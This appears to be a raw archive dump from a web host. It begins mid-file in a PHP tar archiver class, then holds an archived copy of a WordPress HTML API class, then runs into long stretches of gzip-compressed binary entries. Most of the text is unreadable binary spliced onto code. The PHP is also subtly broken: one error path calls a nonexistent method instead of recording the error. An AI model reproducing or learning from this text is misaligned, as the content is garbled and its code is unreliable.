					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
���ة�F��ʹ�l��F��jq3�f��ğ��>9�DO2�m�X/�ڰ�n�M΢{�[�F�pxV�{t��Ȇ��q���mD�[jt�N��L�Yq��f�ä[�<n+q�2Qz덃<��}�ff�l���ef��:Y?e�vA��M�}�Fg��(��a0^�iv]+�p��y����b#��	��jO�V8_;��X�a�/U��MD�}�\kK�]5jRx=k���z ��`�g���m�~��-��F��q�>��Yo-^�i^n9澾ݴ���LKJ}9HwJ�z���m�ҫU��>�Kv�Xϊb�~� �x�US��P�6*O���|��<���b��4��:u�R�N��r^�Us��8���r*�Fg����� �k��igP
�K1�����0V���XE�'8�9~`���
*@p6WC�W���^�W��1�/��F�M->���Y�6"M�y�ԎʡeP���c�I�E)��v;�Uʑ]�P�3�mb]Z�ʋp�ۨ�(�ˁ7ʓ^<��*�Y�c[��]?��f��Npz�7���bK����<��Qo��H�P������ځ�ɯ;�����qC��D��%���Sn���U �&�z8��?
+�q�\[�'��k�t��'���`{�k��^���V}���T�o�@��4|��t'��Q�^�׫���X}���F,��Z�$>1����^�m�4�/mc�`\�[�v��jϒ}9�w;��^�7�>P�M����P��m�^��ƣ�0=�r�a�]\����d�q�VB��bSfZK��بþ��u[o��¢�h%�q.�
4
B���u��"�W:��x��YaL��x4\�
%y���pHj��X��3
̟hH�MnSj�#l��y��^|��X%bO��K	z��t\\��YFL\\sr(ȅ��Xk��q6Y	F�!T�z'�nƵؐ��Ӹ�yǏ�e=��*���w�d>�6Y!�{�����6��j{�M�Q���FL���6���`�[s��,�&�zG��J26ދ�Dr~��N�xZY���f���b�q=0����x/D���i/М����Pb��Mc���P����F�>�G�.����F��J���E�q�(���ݢ3��ttv���C�Uຮ؟���t�N7i:�M.�(���(?�� ���J�1��{6/�Z��(���S�+��u�b������>��鄔n��+��O���Q,e@�|�����Ʉi�o:�}��{��D�Ip�a9=��j�7��i3��,�`PI.��_0��*�O39�����k��P=��m��(g��R7����P6�`��W�\�[o�Ԭ��k�ݽ��|zȅN�[�'%YO�r�|���)�R�Z�yG�$�.
s��i�뀺�vB�m~0Mך��bo��an���
�=����\c��6�q��0-��`bg�e�!�&���L�o��Hr-�k�Sf���h�3~\�`%�����w��*�i2YK��;�{7�@�\Lθ��<�.�J����c�l7���º��u�3޲;^-���v���z�ᐝ�:���V�xs�A+ٯu*aqUˉ��Zf�P)����R�5.{�:���}3����>x���I���B���3�UE*�����L���򰨔FZ	=���}��ͯ˃^3K�v�E5h$xv�Ns�!��l��1��7DIYO���^J�T����M�YaC�%!\�#�~�춡^w��y�Й���E6{�1�!���b���-�[�/��_l!��B~���b���-�[�/��_l!?�-�3�>��0
e&1'���c��Hw��(z�qe~b�j����4m5��\;�c�@��䷥F�0/�~�%��Z��
��~�K$�	L�bN��d���H�m�sz�M&�aq�{�7q�wVX3��O��!�N$�XC�c��9�ŋ��t����d ��
X���R�TU��e)��kK�q�!(p�rW'z�t-\�H*�V�*3�ʛ�tS��=���ؒZbJ`���̣�6X�$[�t�[�F�^c�mCU�?��-�;[-�%Z����M���R~�{뵃,��5��?�S�:}�q!��՟��z��|'<�.�YF�ҝ���r�|9�m����Sb;f
�bi��ЅH�aIF&��}4�����X����5�ŴX,=&Z���X��6�hP���
s�4�m?�����+D�u�iW.��x��n"e�R\�1�����Y�Z�7�q)��Z�&^��Ct����*����;�Lۂ4=���E�e7�E��}��`���W,�Ӈ��fw�7=���cIL�ɤ��-�Ǭ����cz_L�R�,���Ǡ�b�Q%q�����ɛ`ӕb����l(oߥl�Г��/����M��~�l�o�sa�p]>x���3�%`(��XZ�J�N{C�p2<����}7dC�=�`E�0�E�@��~l}��vp$?(�JH܃٪&C�̓���2���ӧ��Z-��V�#1�FT��X_9�ֳ�K����@]<�ڋR��n��`/��Lp��嚳~;C'k�� �݂�nʃ��6�\�4���=;����^چ���c"ުU:4�q uh�� D��Hm�W�2YƦ��W���V,Q���_Xz�܄�dm��f��^(�G���P����Į�f��8��C|$��i��J%ف2�O%��|���|i���
�\�KEe�ʡ�����N��	D�~[��6�Uz���Hp�-
��p��&�Dvt�3lbS�'+j7��w׃�W�CބBo��J�
���cp\�1t"9��^%*���`_U�������Iddk0��
xK6���V��tF'3�`Y��vP\�[xh
